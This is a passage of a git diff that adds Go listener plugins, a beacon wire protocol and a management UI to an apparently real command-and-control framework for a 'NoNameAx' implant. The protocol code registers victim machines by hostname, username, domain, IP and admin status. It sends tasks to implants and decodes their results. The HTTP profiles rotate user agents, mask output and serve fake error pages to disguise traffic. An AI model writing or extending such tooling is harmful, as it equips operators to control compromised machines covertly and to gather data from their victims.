nil { + t.Fatalf("could not allocate test port: %v", err) + } + port := tmp.Addr().(*net.TCPAddr).Port + _ = tmp.Close() + + cfg := map[string]any{ + "host_bind": "127.0.0.1", + "port_bind": float64(port), + "uri": []any{"/api/v1/status"}, + "hb_header": "X-Beacon-Id", + "encrypt_key": hex.EncodeToString(make([]byte, 16)), + "user_agent": []any{"Mozilla/5.0"}, + "http_method": "POST", + "ssl": false, + "page-error": "404", + "page-payload": "", + } + cfgJSON, _ := json.Marshal(cfg) + + pl := &PluginListener{} + + // Create signature (from SDK): + // Create(name, config string, customData []byte) (ExtenderListener, ListenerData, []byte, error) + active, listenerData, _, err := pl.Create("test-listener", string(cfgJSON), nil) + if err != nil { + t.Fatalf("Create returned error: %v", err) + } + + // ListenerData.Name is the listener's registered name. + if listenerData.Name != "test-listener" { + t.Errorf("listenerData.Name = %q; expected \"test-listener\"", listenerData.Name) + } + if active == nil { + t.Fatal("Create returned nil ExtenderListener") + } + + if err := active.Start(); err != nil { + t.Fatalf("Start returned error: %v", err) + } + + // Give the goroutine a moment to bind. + time.Sleep(50 * time.Millisecond) + + // Confirm something is listening on the expected port. + conn, err := net.DialTimeout("tcp", "127.0.0.1:"+strconv.Itoa(port), time.Second) + if err != nil { + t.Fatalf("nothing listening on port %d after Start: %v", port, err) + } + conn.Close() + + if err := active.Stop(); err != nil { + t.Errorf("Stop returned error: %v", err) + } +} diff --git a/src_server/listener_nonameax_http/pl_wire.go b/src_server/listener_nonameax_http/pl_wire.go new file mode 100644 index 0000000..805c4d0 --- /dev/null +++ b/src_server/listener_nonameax_http/pl_wire.go @@ -0,0 +1,379 @@ +package main + +// DO NOT EDIT IN ISOLATION - keep byte-identical with +// extender/agent_nonameax/pl_wire.go. See ADR-002. +// +// Implements the wire frame layout from docs/protocol/wire-v0.md: +// +--------+----------+-------------------+------------------+ +// | type:1 | flags:1 | bodylen:4 (LE) | body bytes | +// +--------+----------+-------------------+------------------+ + +import ( + "encoding/binary" + "errors" +) + +// Message types - see docs/protocol/wire-v0.md §"Message types" +const ( + WireTypeRegister byte = 0x01 + WireTypeHeartbeat byte = 0x02 + WireTypeResult byte = 0x03 + WireTypeNoTasks byte = 0x80 + WireTypeTask byte = 0x81 + WireTypeProfile byte = 0x82 +) + +// EncodeFrame builds a wire frame: type, flags=0, bodylen LE u32, body bytes. +func EncodeFrame(msgType byte, body []byte) []byte { + out := make([]byte, 6+len(body)) + out[0] = msgType + out[1] = 0 // flags reserved + binary.LittleEndian.PutUint32(out[2:6], uint32(len(body))) + copy(out[6:], body) + return out +} + +// DecodeFrame splits a frame into its components. Returns (type, flags, body, err). +func DecodeFrame(frame []byte) (byte, byte, []byte, error) { + if len(frame) < 6 { + return 0, 0, nil, errors.New("nax-wire: frame shorter than 6-byte header") + } + msgType := frame[0] + flags := frame[1] + bodyLen := int(binary.LittleEndian.Uint32(frame[2:6])) + if 6+bodyLen > len(frame) { + return 0, 0, nil, errors.New("nax-wire: body truncated relative to declared length") + } + return msgType, flags, frame[6 : 6+bodyLen], nil +} + +// RegisterBody is the decoded form of a wire-v0 REGISTER body. +type RegisterBody struct { + Hostname string + Username string + Arch byte + Pid uint32 + SleepMs uint32 + // Extended fields (appended after SleepMs in wire-v0.1+) + Tid uint32 // Thread ID (GetCurrentThreadId) + Ip string // Internal IPv4 e.g. "192.168.1.5" + Domain string // Windows domain or "WORKGROUP" + ProcessName string // Short image name e.g. "notepad.exe" (optional, wire-v0.2+) + // System info fields (wire-v0.3+) + Elevated byte // 1 = elevated/admin + OsMajor uint32 // Windows major version + OsMinor uint32 // Windows minor version + OsBuild uint16 // Windows build number + ParentPid uint32 // Parent process ID + Acp uint32 // ANSI code page + OemCp uint32 // OEM code page + ImgPath string // Full image path (UTF-8) +} + +// DecodeRegister parses the body of a REGISTER message per docs/protocol/wire-v0.md §"REGISTER body". +// Extended fields (Tid, Ip, Domain) are optional - omitted by older implants; +// the decoder accepts both and leaves unread fields at their zero values. +func DecodeRegister(body []byte) (RegisterBody, error) { + var r RegisterBody + cursor := 0 + + hostname, cursor, err := readLenPrefixedString(body, cursor) + if err != nil { + return r, err + } + r.Hostname = hostname + + username, cursor, err := readLenPrefixedString(body, cursor) + if err != nil { + return r, err + } + r.Username = username + + if cursor+1+4+4 > len(body) { + return r, errors.New("nax-wire: REGISTER body truncated at fixed tail") + } + r.Arch = body[cursor] + cursor++ + r.Pid = binary.LittleEndian.Uint32(body[cursor : cursor+4]) + cursor += 4 + r.SleepMs = binary.LittleEndian.Uint32(body[cursor : cursor+4]) + cursor += 4 + + // Extended fields - present only when the implant sends them. + // tid(4LE) + if cursor+4 <= len(body) { + r.Tid = binary.LittleEndian.Uint32(body[cursor : cursor+4]) + cursor += 4 + } + // ip_len(2LE) + ip + if cursor+2 <= len(body) { + if ip, newCursor, ipErr := readLenPrefixedString(body, cursor); ipErr == nil { + r.Ip = ip + cursor = newCursor + } + } + // domain_len(2LE) + domain + if cursor+2 <= len(body) { + if domain, newCursor, domErr := readLenPrefixedString(body, cursor); domErr == nil { + r.Domain = domain + cursor = newCursor + } + } + // proc_len(2LE) + proc (optional, wire-v0.2+) + if cursor+2 <= len(body) { + if proc, newCursor, procErr := readLenPrefixedString(body, cursor); procErr == nil { + r.ProcessName = proc + cursor = newCursor + } + } + // System info fields (wire-v0.3+): elevated(1) + os_major(4) + os_minor(4) + os_build(2) + parent_pid(4) + acp(4) + oem_cp(4) + img_path_len(2)+img_path + if cursor+1 <= len(body) { + r.Elevated = body[cursor] + cursor++ + } + if cursor+4 <= len(body) { + r.OsMajor = binary.LittleEndian.Uint32(body[cursor : cursor+4]) + cursor += 4 + } + if cursor+4 <= len(body) { + r.OsMinor = binary.LittleEndian.Uint32(body[cursor : cursor+4]) + cursor += 4 + } + if cursor+2 <= len(body) { + r.OsBuild = binary.LittleEndian.Uint16(body[cursor : cursor+2]) + cursor += 2 + } + if cursor+4 <= len(body) { + r.ParentPid = binary.LittleEndian.Uint32(body[cursor : cursor+4]) + cursor += 4 + } + if cursor+4 <= len(body) { + r.Acp = binary.LittleEndian.Uint32(body[cursor : cursor+4]) + cursor += 4 + } + if cursor+4 <= len(body) { + r.OemCp = binary.LittleEndian.Uint32(body[cursor : cursor+4]) + cursor += 4 + } + if cursor+2 <= len(body) { + if img, newCursor, imgErr := readLenPrefixedString(body, cursor); imgErr == nil { + r.ImgPath = img + cursor = newCursor + } + } + _ = cursor + return r, nil +} + +func readLenPrefixedString(body []byte, cursor int) (string, int, error) { + if cursor+2 > len(body) { + return "", 0, errors.New("nax-wire: length-prefixed string: header truncated") + } + n := int(binary.LittleEndian.Uint16(body[cursor : cursor+2])) + cursor += 2 + if cursor+n > len(body) { + return "", 0, errors.New("nax-wire: length-prefixed string: body truncated") + } + s := string(body[cursor : cursor+n]) + cursor += n + return s, cursor, nil +} + +// EncodeTaskBody builds the body of a wire TASK frame: +// +// task_id(4LE) || cmdData +// +// cmdData contains cmd_id(1) || args_len(4LE) || args as assembled by +// the server's PackTasks. Wrap the result in EncodeFrame(WireTypeTask, ...). +func EncodeTaskBody(taskId uint32, cmdData []byte) []byte { + out := make([]byte, 4+len(cmdData)) + binary.LittleEndian.PutUint32(out[0:4], taskId) + copy(out[4:], cmdData) + return out +} + +// DecodeResultBody parses the body of a wire-v0 RESULT frame per +// docs/protocol/wire-v0.md §"RESULT body". +// +// task_id(4LE) | status(1) | data_len(4LE) | data +func DecodeResultBody(body []byte) (taskId uint32, status byte, data []byte, err error) { + if len(body) < 9 { + return 0, 0, nil, errors.New("nax-wire: RESULT body too short (need ≥9 bytes)") + } + taskId = binary.LittleEndian.Uint32(body[0:4]) + status = body[4] + dataLen := int(binary.LittleEndian.Uint32(body[5:9])) + if 9+dataLen > len(body) { + return 0, 0, nil, errors.New("nax-wire: RESULT body data field truncated") + } + return taskId, status, body[9 : 9+dataLen], nil +} + +// EncodeProfileBodyV1 builds the body of a v1 PROFILE frame from config fields. +// Kept for backward compat - new code should use EncodeProfileBodyV2. +func EncodeProfileBodyV1(getUris, postUris, userAgents, headers []string, cookieName string, rotation byte) []byte { + var buf []byte + + writeStringList := func(strs []string) { + b := make([]byte, 2) + binary.LittleEndian.PutUint16(b, uint16(len(strs))) + buf = append(buf, b...) + for _, s := range strs { + lb := make([]byte, 2) + binary.LittleEndian.PutUint16(lb, uint16(len(s))) + buf = append(buf, lb...) + buf = append(buf, []byte(s)...) + } + } + + writeStringList(getUris) + writeStringList(postUris) + writeStringList(userAgents) + writeStringList(headers) + + // cookie name + cb := make([]byte, 2) + binary.LittleEndian.PutUint16(cb, uint16(len(cookieName))) + buf = append(buf, cb...) + buf = append(buf, []byte(cookieName)...) + + // rotation + buf = append(buf, rotation) + + return buf +} + +/* ========= [ Profile v2 types ] ========= */ + +type OutputConfig struct { + Format string // "raw", "base64", "base64url", "hex" + Mask bool + Placement string // "body", "header", "cookie", "parameter" + Name string + Prepend string + Append string + EmptyResp string +} + +type HTTPTransaction struct { + URIs []string + ClientHeaders map[string]string + ClientParams map[string]string + ClientMeta OutputConfig + ClientOutput *OutputConfig // POST only (nil for GET) + ServerHeaders map[string]string + ServerOutput OutputConfig +} + +type ServerError struct { + Status int + Body string + Headers map[string]string +} + +type ProfileConfig struct { + Hosts []string + UserAgent string + Rotation string + BeaconIdHeader string + Error ServerError + Get HTTPTransaction + Post HTTPTransaction +} + +/* ========= [ Profile v2 wire helpers ] ========= */ + +func writeLP(buf *[]byte, s string) { + b := make([]byte, 2) + binary.LittleEndian.PutUint16(b, uint16(len(s))) + *buf = append(*buf, b...) + *buf = append(*buf, []byte(s)...) +} + +func writeOutputConfig(buf *[]byte, cfg *OutputConfig) { + formatMap := map[string]byte{"raw": 0, "base64": 1, "base64url": 2, "hex": 3} + placementMap := map[string]byte{"body": 0, "header": 1, "cookie": 2, "parameter": 3} + fmtByte := formatMap[cfg.Format] + placeByte := placementMap[cfg.Placement] + maskByte := byte(0) + if cfg.Mask { + maskByte = 1 + } + *buf = append(*buf, fmtByte, maskByte, placeByte) + writeLP(buf, cfg.Name) + writeLP(buf, cfg.Prepend) + writeLP(buf, cfg.Append) + writeLP(buf, cfg.EmptyResp) +} + +func writeStringList(buf *[]byte, strs []string) { + b := make([]byte, 2) + binary.LittleEndian.PutUint16(b, uint16(len(strs))) + *buf = append(*buf, b...) + for _, s := range strs { + writeLP(buf, s) + } +} + +func writeHeaderMap(buf *[]byte, hdrs map[string]string) { + entries := make([]string, 0, len(hdrs)) + for k, v := range hdrs { + entries = append(entries, k+": "+v) + } + writeStringList(buf, entries) +} + +/* ========= [ Profile v2 encoder ] ========= */ + +// EncodeProfileBodyV2 serializes a ProfileConfig into the v2 binary wire format. +func EncodeProfileBodyV2(p *ProfileConfig) []byte { + var buf []byte + buf = append(buf, 0x02) // version + rot := byte(0) + if p.Rotation == "random" { + rot = 1 + } + buf = append(buf, rot) + + writeLP(&buf, p.UserAgent) + beaconHdr := p.BeaconIdHeader + if beaconHdr == "" { + beaconHdr = "X-Beacon-Id" + } + writeLP(&buf, beaconHdr) + writeStringList(&buf, p.Hosts) + + // server error + eb := make([]byte, 2) + binary.LittleEndian.PutUint16(eb, uint16(p.Error.Status)) + buf = append(buf, eb...) + writeLP(&buf, p.Error.Body) + writeHeaderMap(&buf, p.Error.Headers) + + // GET block + writeStringList(&buf, p.Get.URIs) + writeOutputConfig(&buf, &p.Get.ClientMeta) + writeHeaderMap(&buf, p.Get.ClientHeaders) + // client params as "key=value" strings + paramStrs := make([]string, 0, len(p.Get.ClientParams)) + for k, v := range p.Get.ClientParams { + paramStrs = append(paramStrs, k+"="+v) + } + writeStringList(&buf, paramStrs) + writeOutputConfig(&buf, &p.Get.ServerOutput) + writeHeaderMap(&buf, p.Get.ServerHeaders) + + // POST block + writeStringList(&buf, p.Post.URIs) + writeOutputConfig(&buf, &p.Post.ClientMeta) + postOutput := p.Post.ClientOutput + if postOutput == nil { + postOutput = &OutputConfig{Format: "raw", Placement: "body"} + } + writeOutputConfig(&buf, postOutput) + writeHeaderMap(&buf, p.Post.ClientHeaders) + writeOutputConfig(&buf, &p.Post.ServerOutput) + writeHeaderMap(&buf, p.Post.ServerHeaders) + + return buf +} diff --git a/src_server/listener_nonameax_http/pl_wire_test.go b/src_server/listener_nonameax_http/pl_wire_test.go new file mode 100644 index 0000000..e2bf533 --- /dev/null +++ b/src_server/listener_nonameax_http/pl_wire_test.go @@ -0,0 +1,139 @@ +package main + +import ( + "bytes" + "testing" +) + +func TestEncodeFrameNoTasksProducesSixBytes(t *testing.T) { + got := EncodeFrame(WireTypeNoTasks, nil) + // type=0x80, flags=0x00, bodylen=0x00000000 (LE u32) + want := []byte{0x80, 0x00, 0x00, 0x00, 0x00, 0x00} + if !bytes.Equal(got, want) { + t.Errorf("NO_TASKS frame: got %x, want %x", got, want) + } +} + +func TestEncodeFrameRoundTripsThroughDecode(t *testing.T) { + body := []byte{0xde, 0xad, 0xbe, 0xef} + frame := EncodeFrame(WireTypeResult, body) + typ, flags, gotBody, err := DecodeFrame(frame) + if err != nil { + t.Fatalf("DecodeFrame: %v", err) + } + if typ != WireTypeResult { + t.Errorf("type: got %#x, want %#x", typ, WireTypeResult) + } + if flags != 0 { + t.Errorf("flags: got %#x, want 0", flags) + } + if !bytes.Equal(gotBody, body) { + t.Errorf("body: got %x, want %x", gotBody, body) + } +} + +func TestDecodeFrameRejectsTooShort(t *testing.T) { + if _, _, _, err := DecodeFrame([]byte{0x01, 0x00, 0x05}); err == nil { + t.Error("expected error for under-4-byte frame") + } +} + +func TestDecodeFrameRejectsTruncatedBody(t *testing.T) { + // bodylen claims 10 but only 2 follow + bad := []byte{0x01, 0x00, 0x0a, 0x00, 0xaa, 0xbb} + if _, _, _, err := DecodeFrame(bad); err == nil { + t.Error("expected error for truncated body") + } +} + +func TestDecodeRegisterBodyHappyPath(t *testing.T) { + // Construct a REGISTER body matching docs/protocol/wire-v0.md + body := []byte{} + body = append(body, 0x04, 0x00) // hostname_len = 4 + body = append(body, []byte("HOST")...) + body = append(body, 0x05, 0x00) // username_len = 5 + body = append(body, []byte("alice")...) + body = append(body, 0x01) // arch = x64 + body = append(body, 0x39, 0x05, 0x00, 0x00) // pid = 1337 + body = append(body, 0xe8, 0x03, 0x00, 0x00) // sleep_ms = 1000 + + reg, err := DecodeRegister(body) + if err != nil { + t.Fatalf("DecodeRegister: %v", err) + } + if reg.Hostname != "HOST" { + t.Errorf("hostname: got %q, want HOST", reg.Hostname) + } + if reg.Username != "alice" { + t.Errorf("username: got %q, want alice", reg.Username) + } + if reg.Arch != 0x01 { + t.Errorf("arch: got %#x, want 0x01", reg.Arch) + } + if reg.Pid != 1337 { + t.Errorf("pid: got %d, want 1337", reg.Pid) + } + if reg.SleepMs != 1000 { + t.Errorf("sleep_ms: got %d, want 1000", reg.SleepMs) + } +} + +func TestDecodeRegisterRejectsTruncatedHostname(t *testing.T) { + bad := []byte{0xff, 0x00, 0x41, 0x41} + if _, err := DecodeRegister(bad); err == nil { + t.Error("expected error for truncated hostname") + } +} + +func TestEncodeTaskBodyProducesCorrectLayout(t *testing.T) { + // wire-v0 §"Worked example": task_id=1, cmd_id=CMD_WHOAMI(0x10), args_len=0 + // Expected body: 01 00 00 00 10 00 00 + cmdData := []byte{0x10, 0x00, 0x00} + got := EncodeTaskBody(1, cmdData) + want := []byte{0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00} + if !bytes.Equal(got, want) { + t.Errorf("EncodeTaskBody: got %x, want %x", got, want) + } +} + +func TestDecodeResultBodyHappyPath(t *testing.T) { + // wire-v0 §"Worked example" RESULT body: task_id=1, status=OK, data="WIN10\user12" + resultBody := []byte{ + 0x01, 0x00, 0x00, 0x00, // task_id = 1 + 0x00, // status = OK + 0x0c, 0x00, 0x00, 0x00, // data_len = 12 + 'W', 'I', 'N', '1', '0', '\\', 'u', 's', 'e', 'r', '1', '2', + } + taskId, status, data, err := DecodeResultBody(resultBody) + if err != nil { + t.Fatalf("DecodeResultBody: %v", err) + } + if taskId != 1 { + t.Errorf("taskId: got %d, want 1", taskId) + } + if status != 0x00 { + t.Errorf("status: got %#x, want 0x00", status) + } + if string(data) != `WIN10\user12` { + t.Errorf("data: got %q, want %q", string(data), `WIN10\user12`) + } +} + +func TestDecodeResultBodyRejectsTooShort(t *testing.T) { + if _, _, _, err := DecodeResultBody([]byte{0x01, 0x00, 0x00}); err == nil { + t.Error("expected error for under-9-byte RESULT body") + } +} + +func TestDecodeResultBodyRejectsTruncatedData(t *testing.T) { + // claims data_len = 100 but only 3 bytes follow + bad := []byte{ + 0x01, 0x00, 0x00, 0x00, // task_id + 0x00, // status + 0x64, 0x00, 0x00, 0x00, // data_len = 100 + 0xAA, 0xBB, 0xCC, // only 3 bytes + } + if _, _, _, err := DecodeResultBody(bad); err == nil { + t.Error("expected error for truncated data field") + } +} diff --git a/src_server/listener_nonameax_smb/Makefile b/src_server/listener_nonameax_smb/Makefile new file mode 100644 index 0000000..a783deb --- /dev/null +++ b/src_server/listener_nonameax_smb/Makefile @@ -0,0 +1,18 @@ +# Makefile - listener_nonameax_smb extender plugin + +GOEXPERIMENT := jsonv2,greenteagc +DEPLOY_DIR := ../../../Server/extenders/listener_nonameax_smb +OUT := $(DEPLOY_DIR)/listener_nonameax_smb.so + +.PHONY: all clean + +all: $(OUT) + +$(OUT): *.go + @mkdir -p $(DEPLOY_DIR) + GOEXPERIMENT=$(GOEXPERIMENT) go build -buildmode=plugin -o $(OUT) . + @cp config.yaml ax_config.axs $(DEPLOY_DIR)/ + @echo " DEPLOY $(OUT)" + +clean: + rm -f $(OUT) diff --git a/src_server/listener_nonameax_smb/ax_config.axs b/src_server/listener_nonameax_smb/ax_config.axs new file mode 100644 index 0000000..610da6d --- /dev/null +++ b/src_server/listener_nonameax_smb/ax_config.axs @@ -0,0 +1,47 @@ +/// NoNameAx SMB Listener + +function ListenerUI(mode_create) +{ + let spacer1 = form.create_vspacer(); + + let labelPipename = form.create_label("Pipename:"); + let textlinePipename = form.create_textline("naxsmb"); + if (!mode_create) { + textlinePipename.setReadOnly(true); + } + + let labelEncryptKey = form.create_label("Encryption key:"); + let textlineEncryptKey = form.create_textline(ax.random_string(32, "hex")); + textlineEncryptKey.setEnabled(mode_create); + let buttonEncryptKey = form.create_button("Generate"); + buttonEncryptKey.setEnabled(mode_create); + + let spacer2 = form.create_vspacer(); + + form.connect(buttonEncryptKey, "clicked", function() { + textlineEncryptKey.setText(ax.random_string(32, "hex")); + }); + + let layout = form.create_gridlayout(); + layout.addWidget(spacer1, 0, 0, 1, 3); + layout.addWidget(labelPipename, 1, 0, 1, 1); + layout.addWidget(textlinePipename, 1, 1, 1, 2); + layout.addWidget(labelEncryptKey, 2, 0, 1, 1); + layout.addWidget(textlineEncryptKey, 2, 1, 1, 1); + layout.addWidget(buttonEncryptKey, 2, 2, 1, 1); + layout.addWidget(spacer2, 3, 0, 1, 3); + + let container = form.create_container(); + container.put("pipename", textlinePipename); + container.put("encrypt_key", textlineEncryptKey); + + let panel = form.create_panel(); + panel.setLayout(layout); + + return { + ui_panel: panel, + ui_container: container, + ui_height: 650, + ui_width: 650 + }; +} diff --git a/src_server/listener_nonameax_smb/config.yaml b/src_server/listener_nonameax_smb/config.yaml new file mode 100644 index 0000000..9730b6e --- /dev/null +++ b/src_server/listener_nonameax_smb/config.yaml @@ -0,0 +1,7 @@ +extender_type: "listener" +extender_file: "listener_nonameax_smb.so" +ax_file: "ax_config.axs" + +listener_name: "NoNameAxSMB" +listener_type: "internal" +protocol: "bind_smb" diff --git a/src_server/listener_nonameax_smb/go.mod b/src_server/listener_nonameax_smb/go.mod new file mode 100644 index 0000000..97ff0f0 --- /dev/null +++ b/src_server/listener_nonameax_smb/go.mod @@ -0,0 +1,5 @@ +module nonameax/listener_smb + +go 1.25.4 + +require github.com/Adaptix-Framework/axc2 v1.2.0 // indirect diff --git a/src_server/listener_nonameax_smb/go.sum b/src_server/listener_nonameax_smb/go.sum new file mode 100644 index 0000000..8889bb8 --- /dev/null +++ b/src_server/listener_nonameax_smb/go.sum @@ -0,0 +1,2 @@ +github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= +github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= diff --git a/src_server/listener_nonameax_smb/pl_main.go b/src_server/listener_nonameax_smb/pl_main.go new file mode 100644 index 0000000..44a50f9 --- /dev/null +++ b/src_server/listener_nonameax_smb/pl_main.go @@ -0,0 +1,141 @@ +package main + +import ( + "encoding/hex" + "encoding/json" + "fmt" + + adaptix "github.com/Adaptix-Framework/axc2" +) + +type Teamserver interface { + TsAgentIsExists(agentId string) bool + TsAgentCreate(agentCrc, agentId string, beat []byte, + listenerName, ExternalIP string, Async bool) (adaptix.AgentData, error) + TsAgentProcessData(agentId string, bodyData []byte) error + TsAgentGetHostedAll(agentId string, maxSize int) ([]byte, error) + TsAgentSetTick(agentId string, listenerName string) error +} + +type PluginListener struct{} + +type extenderListener struct { + name string + pipename string + encryptKey []byte +} + +var ( + Ts Teamserver + ModuleDir string + ListenerDataDir string +) + +func InitPlugin(ts any, moduleDir string, listenerDir string) adaptix.PluginListener { + ModuleDir = moduleDir + ListenerDataDir = listenerDir + if ts != nil { + Ts, _ = ts.(Teamserver) + } + return &PluginListener{} +} + +func (p *PluginListener) Create(name, config string, customData []byte) (adaptix.ExtenderListener, adaptix.ListenerData, []byte, error) { + var cfg struct { + Pipename string `json:"pipename"` + EncryptKey string `json:"encrypt_key"` + } + if err := json.Unmarshal([]byte(config), &cfg); err != nil { + return nil, adaptix.ListenerData{}, nil, fmt.Errorf("smb listener: parse config: %w", err) + } + if cfg.Pipename == "" { + cfg.Pipename = "naxsmb" + } + if cfg.EncryptKey == "" { + return nil, adaptix.ListenerData{}, nil, fmt.Errorf("smb listener: encrypt_key required") + } + keyBytes, err := hex.DecodeString(cfg.EncryptKey) + if err != nil || len(keyBytes) != 16 { + return nil, adaptix.ListenerData{}, nil, fmt.Errorf("smb listener: encrypt_key must be 32 hex chars (16 bytes)") + } + + listenerData := adaptix.ListenerData{ + Name: name, + BindHost: "", + BindPort: "", + AgentAddr: `\\.\pipe\` + cfg.Pipename, + Protocol: "bind_smb", + Type: "internal", + Status: "running", + } + + ext := &extenderListener{ + name: name, + pipename: cfg.Pipename, + encryptKey: keyBytes, + } + return ext, listenerData, []byte(config), nil +} + +func (a *extenderListener) Start() error { + return nil +} + +func (a *extenderListener) Stop() error { + return nil +} + +func (a *extenderListener) Edit(config string) (adaptix.ListenerData, []byte, error) { + listenerData := adaptix.ListenerData{ + Name: a.name, + BindHost: "", + BindPort: "", + AgentAddr: `\\.\pipe\` + a.pipename, + Protocol: "bind_smb", + Type: "internal", + Status: "running", + } + return listenerData, []byte(config), nil +} + +func (a *extenderListener) GetProfile() ([]byte, error) { + profile := map[string]any{ + "pipename": a.pipename, + "encrypt_key": hex.EncodeToString(a.encryptKey), + } + return json.Marshal(profile) +} + +func (a *extenderListener) InternalHandler(data []byte) (string, error) { + if Ts == nil { + return "", fmt.Errorf("smb listener: teamserver not available") + } + if len(data) < 17 { + return "", fmt.Errorf("smb listener: data too short (%d)", len(data)) + } + beaconID := string(data[:16]) + + fmt.Printf("[SMB-Listener] InternalHandler: listener=%s beaconID=%s dataLen=%d keyPrefix=%x\n", a.name, beaconID, len(data), a.encryptKey[:4]) + + if Ts.TsAgentIsExists(beaconID) { + fmt.Printf("[SMB-Listener] InternalHandler: agent already exists, returning %s\n", beaconID) + return beaconID, nil + } + + ciphertext := data[16:] + fmt.Printf("[SMB-Listener] InternalHandler: ciphertextLen=%d first16=%x\n", len(ciphertext), ciphertext[:min(16, len(ciphertext))]) + + beatWithId := make([]byte, 16+16+len(ciphertext)) + copy(beatWithId[:16], beaconID) + copy(beatWithId[16:32], a.encryptKey) + copy(beatWithId[32:], ciphertext) + + agentData, err := Ts.TsAgentCreate("a04a4178", beaconID, beatWithId, a.name, "", false) + if err != nil { + return "", fmt.Errorf("smb listener: TsAgentCreate: %w", err) + } + fmt.Printf("[SMB-Listener] InternalHandler: agent created id=%s\n", agentData.Id) + return agentData.Id, nil +} + +func main() {} diff --git a/src_server/service_nax_store/Makefile b/src_server/service_nax_store/Makefile new file mode 100644 index 0000000..8111537 --- /dev/null +++ b/src_server/service_nax_store/Makefile @@ -0,0 +1,19 @@ +GOEXPERIMENT := jsonv2,greenteagc +DEPLOY_DIR := ../../../Server/extenders/service_nax_store +OUT := $(DEPLOY_DIR)/nax_store.so + +.PHONY: all clean deploy + +all: $(OUT) deploy + +$(OUT): *.go + @mkdir -p $(DEPLOY_DIR) + GOEXPERIMENT=$(GOEXPERIMENT) go build -buildmode=plugin -ldflags="-s -w" -o $(OUT) . + @echo " DEPLOY $(OUT)" + +deploy: + @mkdir -p $(DEPLOY_DIR) + @cp ax_config.axs config.yaml $(DEPLOY_DIR)/ + +clean: + rm -f $(OUT) diff --git a/src_server/service_nax_store/ax_config.axs b/src_server/service_nax_store/ax_config.axs new file mode 100644 index 0000000..f094d88 --- /dev/null +++ b/src_server/service_nax_store/ax_config.axs @@ -0,0 +1,257 @@ + +var metadata = { + name: "NaXStore", + description: "NaX persistence store manager - view and clean up cached agent identities and profile overrides" +}; + +var g_combo = null; +var g_count_lbl = null; +var g_entries = []; + +var g_fld_id = null; +var g_fld_computer = null; +var g_fld_user = null; +var g_fld_domain = null; +var g_fld_arch = null; +var g_fld_pid = null; +var g_fld_process = null; +var g_fld_ip = null; +var g_fld_os = null; +var g_fld_elevated = null; +var g_fld_sleep = null; +var g_fld_profile = null; + +function InitService() { + ax.log("NaX Store Manager service loaded."); + + let action = menu.create_action("NaX Store Manager", function() { + openStoreDialog(); + }); + menu.add_main_axscript(action); +} + +function refreshList() { + clearDetailFields(); + ax.service_command("nax_store", "list", null); +} + +function clearDetailFields() { + if (g_fld_id) g_fld_id.setText(""); + if (g_fld_computer) g_fld_computer.setText(""); + if (g_fld_user) g_fld_user.setText(""); + if (g_fld_domain) g_fld_domain.setText(""); + if (g_fld_arch) g_fld_arch.setText(""); + if (g_fld_pid) g_fld_pid.setText(""); + if (g_fld_process) g_fld_process.setText(""); + if (g_fld_ip) g_fld_ip.setText(""); + if (g_fld_os) g_fld_os.setText(""); + if (g_fld_elevated) g_fld_elevated.setText(""); + if (g_fld_sleep) g_fld_sleep.setText(""); + if (g_fld_profile) g_fld_profile.setText(""); +} + +function fillDetailFields(d) { + if (g_fld_id) g_fld_id.setText(d.id || ""); + if (g_fld_computer) g_fld_computer.setText(d.computer || "-"); + if (g_fld_user) g_fld_user.setText(d.username || "-"); + if (g_fld_domain) g_fld_domain.setText(d.domain || "-"); + if (g_fld_arch) g_fld_arch.setText(d.arch || "-"); + if (g_fld_pid) g_fld_pid.setText((d.pid || "-") + " / " + (d.tid || "-")); + if (g_fld_process) g_fld_process.setText(d.process || "-"); + if (g_fld_ip) g_fld_ip.setText(d.internal_ip || "-"); + if (g_fld_os) g_fld_os.setText(d.os_desc || "-"); + if (g_fld_elevated) g_fld_elevated.setText(d.elevated ? "Yes" : "No"); + if (g_fld_sleep) g_fld_sleep.setText((d.sleep || 0) + "s"); + + if (g_fld_profile) { + if (d.has_profile) { + let parts = []; + parts.push("Header: " + (d.beacon_header || "-")); + parts.push("UA: " + (d.user_agent || "-")); + parts.push("Rotation: " + (d.rotation || "-")); + if (d.hosts && d.hosts.length > 0) { + parts.push("Hosts: " + d.hosts.join(", ")); + } + parts.push("URIs: GET=" + (d.get_uri_count || 0) + " POST=" + (d.post_uri_count || 0)); + g_fld_profile.setText(parts.join(" | ")); + } else { + g_fld_profile.setText("(listener default)"); + } + } +} + +function selectedAgentId() { + if (g_combo === null || g_entries.length === 0) return ""; + let idx = g_combo.currentIndex(); + if (idx < 0 || idx >= g_entries.length) return ""; + return g_entries[idx].id; +} + +function data_handler(data) { + let response = JSON.parse(data); + + switch (response.action) { + case "list_result": + g_entries = response.entries || []; + if (g_combo !== null) { + let labels = []; + for (let i = 0; i < g_entries.length; i++) { + let e = g_entries[i]; + labels.push(e.id + " | " + e.computer + " | " + e.username + " | " + e.profile); + } + g_combo.setItems(labels); + } + if (g_count_lbl !== null) { + g_count_lbl.setText("Entries: " + response.count); + } + clearDetailFields(); + if (g_entries.length > 0) { + ax.service_command("nax_store", "details", { agent_id: g_entries[0].id }); + } + break; + + case "details_result": + if (response.success) { + fillDetailFields(response); + } + break; + + case "delete_result": + if (response.success) { + refreshList(); + } else { + ax.show_message("Delete Error", response.error || "Unknown error"); + } + break; + + case "clear_result": + if (response.success) { + refreshList(); + } else { + ax.show_message("Clear Error", response.error || "Unknown error"); + } + break; + + case "error": + ax.show_message("NaX Store Error", response.error || "Unknown error"); + break; + } +} + +function openStoreDialog() { + let combo = form.create_combo(); + g_combo = combo; + + let lblCount = form.create_label("Entries: -"); + g_count_lbl = lblCount; + + form.connect(combo, "currentIndexChanged", function() { + let agentId = selectedAgentId(); + if (agentId !== "") { + ax.service_command("nax_store", "details", { agent_id: agentId }); + } + }); + + let fld_id = form.create_textline(""); fld_id.setReadOnly(true); g_fld_id = fld_id; + let fld_computer = form.create_textline(""); fld_computer.setReadOnly(true); g_fld_computer = fld_computer; + let fld_user = form.create_textline(""); fld_user.setReadOnly(true); g_fld_user = fld_user; + let fld_domain = form.create_textline(""); fld_domain.setReadOnly(true); g_fld_domain = fld_domain; + let fld_arch = form.create_textline(""); fld_arch.setReadOnly(true); g_fld_arch = fld_arch; + let fld_pid = form.create_textline(""); 